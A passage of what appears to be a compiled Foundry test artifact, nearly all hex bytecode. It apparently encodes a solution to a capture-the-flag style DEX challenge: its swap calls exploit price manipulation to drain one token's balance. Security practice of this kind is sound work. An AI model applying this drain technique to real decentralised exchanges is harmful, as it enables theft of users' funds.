5b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212205d699533e9aa52620e551953173fcffc86d37c51ce0d47c7a32638b59086541c64736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;336:2078:125;420:32:154;259:12:155;336:2078:125;420:32:154;410:43;382:71;;336:2078:125;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001ee1565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001f24565b620001b3620001fa36600462002010565b62000a2b565b6200020a62000bf6565b604051620001c79190620020e3565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c79190620021a6565b620001da6200025736600462002273565b62000ef8565b6200019a62001088565b6200027162001589565b604051620001c791906200228b565b620001b362000291366004620022f1565b6200165e565b620002376200177d565b620002b8620002b23660046200230f565b62001877565b6040519015158152602001620001c7565b6200027162001a07565b6200019a62001adc565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001b75565b620001da62001c49565b6200019a6200032f36600462002273565b62001ca9565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f815181106200036757620003676200234b565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b50505050806001815181106200044957620004496200234b565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200165e565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001e91565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f9190810190620023ec565b905080600182516200098291906200257c565b815181106200099557620009956200234b565b60200260200101515f0151600281518110620009b557620009b56200234b565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab4919081019062002592565b90505f81848560405160200162000acd929190620025e4565b60408051601f198184030181529082905262000aed929160200162002692565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b51908590600401620026c4565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b95919081019062002592565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001d1d90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b90620026d8565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb990620026d8565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001f72565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb4919062002712565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f6200234b565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f60215f9054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa15801562001148573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200116e919062002712565b90505f60215f9054906101000a90046001600160a01b03166001600160a01b03166325be124e6040518163ffffffff1660e01b8152600401602060405180830381865afa158015620011c2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620011e8919062002712565b60215460405163095ea7b360e01b81526001600160a01b03918216600482015260c8602482015291925083169063095ea7b3906044016020604051808303815f875af11580156200123b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001261919062002730565b5060215460405163095ea7b360e01b81526001600160a01b03918216600482015260c860248201529082169063095ea7b3906044016020604051808303815f875af1158015620012b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620012d9919062002730565b50602154604051630df791e560e41b81526001600160a01b0384811660048301528381166024830152600a60448301529091169063df791e50906064015f604051808303815f87803b1580156200132e575f80fd5b505af115801562001341573d5f803e3d5ffd5b5050602154604051630df791e560e41b81526001600160a01b038581166004830152868116602483015260146044830152909116925063df791e5091506064015f604051808303815f87803b15801562001399575f80fd5b505af1158015620013ac573d5f803e3d5ffd5b5050602154604051630df791e560e41b81526001600160a01b038681166004830152858116602483015260186044830152909116925063df791e5091506064015f604051808303815f87803b15801562001404575f80fd5b505af115801562001417573d5f803e3d5ffd5b5050602154604051630df791e560e41b81526001600160a01b0385811660048301528681166024830152601e6044830152909116925063df791e5091506064015f604051808303815f87803b1580156200146f575f80fd5b505af115801562001482573d5f803e3d5ffd5b5050602154604051630df791e560e41b81526001600160a01b038681166004830152858116602483015260296044830152909116925063df791e5091506064015f604051808303815f87803b158015620014da575f80fd5b505af1158015620014ed573d5f803e3d5ffd5b5050602154604051630df791e560e41b81526001600160a01b0385811660048301528681166024830152602d6044830152909116925063df791e5091506064015f604051808303815f87803b15801562001545575f80fd5b505af115801562001558573d5f803e3d5ffd5b50506020546021546200158593506200157f92506001600160a01b03918216911662001877565b62001dbf565b5050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620015cc90620026d8565b80601f0160208091040260200160405190810160405280929190818152602001828054620015fa90620026d8565b8015620016495780601f106200161f5761010080835404028352916020019162001649565b820191905f5260205f20905b8154815290600101906020018083116200162b57829003601f168201915b505050505081526020019060010190620015ac565b5f806040516200166e9062001e9f565b604051809103905ff08015801562001688573d5f803e3d5ffd5b5090505f6040516200169a9062001ead565b604051809103905ff080158015620016b4573d5f803e3d5ffd5b508483604051620016c59062001ebb565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620016ff573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200175e575f80fd5b505af115801562001771573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200185e57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200180a5790505b50505050508152505081526020019060010190620017a0565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620018d3575f80fd5b505af1158015620018e6573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001944575f80fd5b505af115801562001957573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620019bb573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620019e49190810190620023ec565b9050600181511115620019fc57600191505062001a01565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f2001805462001a4a90620026d8565b80601f016020809104026020016040519081016040528092919081815260200182805462001a7890620026d8565b801562001ac75780601f1062001a9d5761010080835404028352916020019162001ac7565b820191905f5260205f20905b81548152906001019060200180831162001aa957829003601f168201915b50505050508152602001906001019062001a2a565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001b33575f80fd5b505af115801562001b46573d5f803e3d5ffd5b505060205460215462001b73935062001b6d92506001600160a01b03918216911662001877565b62001e3e565b565b6008545f9060ff161562001b8d575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001c1c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001c42919062002751565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f62001cb6824362002769565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001d7490869086906004016200277f565b5f60405180830381865afa15801562001d8f573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001db89190810190620027b0565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001e24575f80fd5b505afa15801562001e37573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001e0d565b6123a580620027e783390190565b610ae58062004b8c83390190565b611e7a806200567183390190565b610daa80620074eb83390190565b6001600160a01b038116811462001ede575f80fd5b50565b5f805f6060848603121562001ef4575f80fd5b833562001f018162001ec9565b9250602084013562001f138162001ec9565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001f665783516001600160a01b03168352928401929184019160010162001f3f565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001fac5762001fac62001f72565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001fde5762001fde62001f72565b604052919050565b5f67ffffffffffffffff82111562002002576200200262001f72565b50601f01601f191660200190565b5f6020828403121562002021575f80fd5b813567ffffffffffffffff81111562002038575f80fd5b8201601f8101841362002049575f80fd5b8035620020606200205a8262001fe6565b62001fb2565b81815285602083850101111562002075575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b83811015620020ae57818101518382015260200162002094565b50505f910152565b5f8151808452620020cf81602086016020860162002092565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b848110156200219757603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b818110156200218057605f198885030183526200216d848651620020b6565b948d01949350918c01916001016200214e565b505050968901969350509087019060010162002108565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b838110156200226557888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b808310156200224f5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a01906200220b565b50968901969450505090860190600101620021cd565b509098975050505050505050565b5f6020828403121562002284575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b82811015620022e457603f19888603018452620022d1858351620020b6565b94509285019290850190600101620022b2565b5092979650505050505050565b5f6020828403121562002302575f80fd5b813562001db88162001ec9565b5f806040838503121562002321575f80fd5b82356200232e8162001ec9565b91506020830135620023408162001ec9565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff8211156200237b576200237b62001f72565b5060051b60200190565b5f620023956200205a8462001fe6565b9050828152838383011115620023a9575f80fd5b62001db883602083018462002092565b5f82601f830112620023c9575f80fd5b62001db88383516020850162002385565b8051620023e78162001ec9565b919050565b5f6020808385031215620023fe575f80fd5b825167ffffffffffffffff8082111562002416575f80fd5b818501915085601f8301126200242a575f80fd5b81516200243b6200205a826200235f565b81815260059190911b830184019084810190888311156200245a575f80fd5b8585015b838110156200255b5780518581111562002476575f80fd5b86016060818c03601f190112156200248c575f80fd5b6200249662001f86565b8882015187811115620024a7575f80fd5b8201603f81018d13620024b8575f80fd5b89810151620024cb6200205a826200235f565b81815260059190911b8201604001908b8101908f831115620024eb575f80fd5b6040840193505b828410156200250d5783518252928c0192908c0190620024f2565b845250505060408201518781111562002524575f80fd5b620025348d8b83860101620023b9565b8a830152506200254760608301620023da565b60408201528452509186019186016200245e565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111562001a015762001a0162002568565b5f60208284031215620025a3575f80fd5b815167ffffffffffffffff811115620025ba575f80fd5b8201601f81018413620025cb575f80fd5b620025dc8482516020840162002385565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200261d81600585016020880162002092565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200265c81600a84016020880162002092565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620026a581846020880162002092565b835190830190620026bb81836020880162002092565b01949350505050565b602081525f62001db86020830184620020b6565b600181811c90821680620026ed57607f821691505b6020821081036200270c57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002723575f80fd5b815162001db88162001ec9565b5f6020828403121562002741575f80fd5b8151801515811462001db8575f80fd5b5f6020828403121562002762575f80fd5b5051919050565b8082018082111562001a015762001a0162002568565b604081525f620027936040830185620020b6565b8281036020840152620027a78185620020b6565b95945050505050565b5f60208284031215620027c1575f80fd5b815167ffffffffffffffff811115620027d8575f80fd5b620025dc84828501620023b956fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61232b8061007a5f395ff3fe6080604052600436106200005f575f3560e01c80638da5cb5b11620000465780638da5cb5b14620000b0578063d38def5b14620000ce578063f2fde38b1462000103575f80fd5b8063715018a614620000635780637726f776146200007c575b5f80fd5b3480156200006f575f80fd5b506200007a62000127565b005b620000936200008d36600462000929565b6200013e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000bc575f80fd5b505f546001600160a01b031662000093565b348015620000da575f80fd5b50620000f2620000ec3660046200094e565b620005e4565b6040519015158152602001620000a7565b3480156200010f575f80fd5b506200007a6200012136600462000929565b6200079c565b6200013162000836565b6200013c5f62000891565b565b5f806040516200014e90620008f8565b604051809103905ff08015801562000168573d5f803e3d5ffd5b5090505f8190505f81606e604051620001819062000906565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20310000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e310000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff0801580156200021b573d5f803e3d5ffd5b5090505f82606e604051620002309062000906565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20320000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e320000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff080158015620002ca573d5f803e3d5ffd5b506040517fcbc7854e0000000000000000000000000000000000000000000000000000000081526001600160a01b0380851660048301528083166024830152919250839183919087169063cbc7854e906044015f604051808303815f87803b15801562000335575f80fd5b505af115801562000348573d5f803e3d5ffd5b505060405163095ea7b360e01b81526001600160a01b038881166004830152606460248301528716925063095ea7b391506044016020604051808303815f875af115801562000399573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003bf91906200098a565b5060405163095ea7b360e01b81526001600160a01b0386811660048301526064602483015284169063095ea7b3906044016020604051808303815f875af11580156200040d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200043391906200098a565b506040516256688760e81b81526001600160a01b038381166004830152606460248301528716906356688700906044015f604051808303815f87803b1580156200047b575f80fd5b505af11580156200048e573d5f803e3d5ffd5b50506040516256688760e81b81526001600160a01b0384811660048301526064602483015289169250635668870091506044015f604051808303815f87803b158015620004d9575f80fd5b505af1158015620004ec573d5f803e3d5ffd5b505060405163a9059cbb60e01b81526001600160a01b038b81166004830152600a60248301528716925063a9059cbb91506044016020604051808303815f875af11580156200053d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200056391906200098a565b5060405163a9059cbb60e01b81526001600160a01b038981166004830152600a602483015284169063a9059cbb906044016020604051808303815f875af1158015620005b1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005d791906200098a565b5093979650505050505050565b5f80836001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000623573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620006499190620009ab565b90505f846001600160a01b03166325be124e6040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000689573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620006af9190620009ab565b6040516370a0823160e01b81526001600160a01b038781166004830152919250908316906370a0823190602401602060405180830381865afa158015620006f8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200071e9190620009c9565b15806200079357506040516370a0823160e01b81526001600160a01b0386811660048301528216906370a0823190602401602060405180830381865afa1580156200076b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620007919190620009c9565b155b95945050505050565b620007a662000836565b6001600160a01b038116620008285760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e65722069732074686